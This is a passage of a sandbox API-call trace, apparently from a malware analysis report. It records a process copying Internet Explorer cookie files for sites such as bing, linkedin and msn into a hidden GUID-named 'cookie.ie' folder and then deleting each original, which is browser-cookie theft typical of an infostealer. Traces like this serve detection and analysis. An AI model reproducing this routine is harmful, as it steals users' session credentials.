lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.468] StrChrW (lpStart="Low\\aetadzjz@track.adform[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@track.adform[2].txt" [0116.468] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.468] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.468] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.468] StrChrW (lpStart="aetadzjz@track.adform[2].txt", wMatch=0x94e005c) returned 0x0 [0116.469] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@track.adform[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@track.adform[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@track.adform[2].txt" [0116.469] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@track.adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@track.adform[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@track.adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@track.adform[2].txt"), bFailIfExists=0) returned 1 [0116.473] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.473] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@track.adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@track.adform[2].txt")) returned 1 [0116.474] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a947d0 | out: hHeap=0x9770000) returned 1 [0116.474] lstrlenW (lpString="Low\\aetadzjz@turn[1].txt") returned 24 [0116.474] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.474] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.474] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xee) returned 0x9a98470 [0116.474] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.474] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.474] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.474] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.474] StrChrW (lpStart="Low\\aetadzjz@turn[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@turn[1].txt" [0116.474] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.474] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.474] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.474] StrChrW (lpStart="aetadzjz@turn[1].txt", wMatch=0x94e005c) returned 0x0 [0116.474] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@turn[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@turn[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@turn[1].txt" [0116.474] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@turn[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@turn[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@turn[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@turn[1].txt"), bFailIfExists=0) returned 1 [0116.477] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.477] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@turn[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@turn[1].txt")) returned 1 [0116.478] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96330 | out: hHeap=0x9770000) returned 1 [0116.478] lstrlenW (lpString="Low\\aetadzjz@w55c[2].txt") returned 24 [0116.478] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.478] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.478] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xee) returned 0x9a98470 [0116.478] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.478] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.478] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.478] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.478] StrChrW (lpStart="Low\\aetadzjz@w55c[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@w55c[2].txt" [0116.478] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.479] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.479] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.479] StrChrW (lpStart="aetadzjz@w55c[2].txt", wMatch=0x94e005c) returned 0x0 [0116.479] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@w55c[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@w55c[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@w55c[2].txt" [0116.479] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@w55c[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@w55c[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@w55c[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@w55c[2].txt"), bFailIfExists=0) returned 1 [0116.483] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.483] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@w55c[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@w55c[2].txt")) returned 1 [0116.483] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96470 | out: hHeap=0x9770000) returned 1 [0116.483] lstrlenW (lpString="Low\\aetadzjz@www.bing[1].txt") returned 28 [0116.483] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.483] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.483] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf6) returned 0x9a98470 [0116.484] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.484] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.484] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.484] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.484] StrChrW (lpStart="Low\\aetadzjz@www.bing[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@www.bing[1].txt" [0116.484] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.484] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.484] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.484] StrChrW (lpStart="aetadzjz@www.bing[1].txt", wMatch=0x94e005c) returned 0x0 [0116.484] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@www.bing[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.bing[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.bing[1].txt" [0116.484] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.bing[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@www.bing[1].txt"), bFailIfExists=0) returned 1 [0116.487] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.487] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.bing[1].txt")) returned 1 [0116.488] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a948f0 | out: hHeap=0x9770000) returned 1 [0116.488] lstrlenW (lpString="Low\\aetadzjz@www.linkedin[1].txt") returned 32 [0116.488] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.488] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.488] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfe) returned 0x9a96470 [0116.488] lstrcpyW (in: lpString1=0x9a96470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.488] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.488] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.488] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.488] StrChrW (lpStart="Low\\aetadzjz@www.linkedin[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@www.linkedin[1].txt" [0116.488] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.488] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.488] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.488] StrChrW (lpStart="aetadzjz@www.linkedin[1].txt", wMatch=0x94e005c) returned 0x0 [0116.489] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@www.linkedin[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.linkedin[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.linkedin[1].txt" [0116.489] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.linkedin[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.linkedin[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.linkedin[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@www.linkedin[1].txt"), bFailIfExists=0) returned 1 [0116.492] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96470 | out: hHeap=0x9770000) returned 1 [0116.492] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.linkedin[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.linkedin[1].txt")) returned 1 [0116.493] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94a10 | out: hHeap=0x9770000) returned 1 [0116.493] lstrlenW (lpString="Low\\aetadzjz@www.msn[2].txt") returned 27 [0116.493] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.493] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.493] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a98470 [0116.493] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.493] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.493] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.493] lstrcatW (in: 